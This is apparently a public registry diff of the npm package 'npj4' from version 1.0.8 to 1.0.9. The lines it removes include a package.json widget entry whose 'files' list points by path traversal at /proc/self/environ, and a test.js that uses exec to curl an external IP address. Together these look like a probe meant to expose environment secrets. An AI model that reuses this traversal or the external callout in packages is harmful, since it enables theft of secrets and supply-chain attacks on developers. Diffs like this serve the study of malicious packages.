npj4 1.0.8 → 1.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -6
- package/test.js +0 -15
package/package.json
CHANGED
|
@@ -1,17 +1,13 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "npj4",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.9",
|
|
4
4
|
"description": "",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"amis-widgets":[
|
|
7
7
|
{
|
|
8
8
|
"name":"test",
|
|
9
9
|
"framework":"vue",
|
|
10
|
-
"usage":"renderer"
|
|
11
|
-
"entry":"test.js",
|
|
12
|
-
"files":[
|
|
13
|
-
"../../../../../../../../../../proc/self/environ"
|
|
14
|
-
]
|
|
10
|
+
"usage":"renderer"
|
|
15
11
|
}],
|
|
16
12
|
|
|
17
13
|
"dependencies": {
|
package/test.js
CHANGED
|
@@ -1,15 +0,0 @@
|
|
|
1
|
-
// 引入child_process模块
|
|
2
|
-
const { exec } = require('child_process');
|
|
3
|
-
|
|
4
|
-
// 执行curl命令
|
|
5
|
-
exec('curl http://47.99.124.12:1234/test', (error, stdout, stderr) => {
|
|
6
|
-
if (error) {
|
|
7
|
-
console.error(`执行出错: ${error.message}`);
|
|
8
|
-
return;
|
|
9
|
-
}
|
|
10
|
-
if (stderr) {
|
|
11
|
-
console.error(`stderr: ${stderr}`);
|
|
12
|
-
return;
|
|
13
|
-
}
|
|
14
|
-
console.log(`stdout: ${stdout}`);
|
|
15
|
-
});
|